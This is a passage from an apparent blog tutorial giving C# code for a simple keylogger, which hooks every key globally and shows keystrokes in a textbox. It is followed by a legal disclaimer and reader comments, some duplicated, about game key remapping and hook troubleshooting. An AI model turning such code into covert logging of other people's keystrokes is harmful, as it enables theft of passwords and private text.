GlobalKeyboardHook gHook;
private void Form1_Load(object sender, EventArgs e)
{
gHook = new GlobalKeyboardHook(); // Create a new GlobalKeyboardHook
// Declare a KeyDown Event
gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);
// Add the keys you want to hook to the HookedKeys list
foreach (Keys key in Enum.GetValues(typeof(Keys)))
gHook.HookedKeys.Add(key);
}
// Handle the KeyDown Event
public void gHook_KeyDown(object sender, KeyEventArgs e)
{
textBox1.Text += ((char)e.KeyValue).ToString();
}
private void button1_Click(object sender, EventArgs e)
{
gHook.hook();
}
private void button2_Click(object sender, EventArgs e)
{
gHook.unhook();
}
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
gHook.unhook();
}
Using this keylogger to log/record other people's keystrokes without their knowledge can be considered as an illegal activity!
It is the final user's responsibility to obey all applicable local,state,and federal laws!
This tutorial is intended for educational purpose only!
I assume NO liability and I'm NOT responsible for any misuse or damage caused by this keylogger!
I had been arguing with my close friend on this issue for quite a while, base on your ideas prove that I am right, let me show him your webpage then I am sure it must make him buy me a drink, lol, thanks.
hi, I'm planning to make my OWN WARKEY, this is application used to warcraft specifically to dota. it is just replacing the NUM7 by clicking other keys, for example; combination of ALT and Q.
So could you please help me to make an application that tells my computer that I'm pressing NUM7 even though I'm pressing ALT+Q. That is while playing WARCRAFT.
I FIGURED IT OUT !!!!!!!!!!!!!! FINALLY !!!!!! Lol, I feel like an IDIOT !!!! I didn't run VS as Administrator ... In windows 7 YOU HAVE TO ! ^_^" This also helped a LOT: http://lmgtfy.com/?q=Gma.UserActivityMonitor
How do I detect a Modifier Key? I am building an app that stacks the current clipboard, in order to do that, I need to test if the Ctrl and the C key were pressed. if (e.Control && e.KeyCode == Keys.C) Is not working, because e.Control is always returning false. Any advice? Thanks!
A very easy to understand step-by-step tutorial to create keylogger in visual studio (c#) find here http://csharpdemos.blogspot.in/2012/09/how-to-create-keylogger-using-c.html
I had been arguing with my close friend on this issue for quite a while, base on your ideas prove that I am right, let me show him your webpage then I am sure it must make him buy me a drink, lol, thanks.
ReplyDelete- Lora
hi, I'm planning to make my OWN WARKEY, this is application used to warcraft specifically to dota. it is just replacing the NUM7 by clicking other keys, for example; combination of ALT and Q.
ReplyDeleteSo could you please help me to make an application that tells my computer that I'm pressing NUM7 even though I'm pressing ALT+Q. That is while playing WARCRAFT.
Thanks a lot...
Why do these hooks disappear when you enter a game like Warcraft?
ReplyDeletearrgg .... I'm getting no where ... been struggling with this for over 19 hours now .... and still nothing ....
ReplyDeleteI FIGURED IT OUT !!!!!!!!!!!!!! FINALLY !!!!!!
ReplyDeleteLol, I feel like an IDIOT !!!!
I didn't run VS as Administrator ... In windows 7 YOU HAVE TO ! ^_^"
This also helped a LOT: http://lmgtfy.com/?q=Gma.UserActivityMonitor
ty bonkers, was kinda "struggling" with the same ;)
ReplyDeleteHow do I detect a Modifier Key?
ReplyDeleteI am building an app that stacks the current clipboard, in order to do that, I need to test if the Ctrl and the C key were pressed.
if (e.Control && e.KeyCode == Keys.C)
Is not working, because e.Control is always returning false. Any advice?
Thanks!
nice post sir
ReplyDeletebut if u add commnet and describtion about each
then its great helpful for us
This comment has been removed by the author.
ReplyDeletemereçe um joinhaaa,,valeuu
ReplyDeleteA very easy to understand step-by-step tutorial to create keylogger in visual studio (c#) find here
ReplyDeletehttp://csharpdemos.blogspot.in/2012/09/how-to-create-keylogger-using-c.html
Thank you very much !!
ReplyDeleteFucking lammer.
ReplyDelete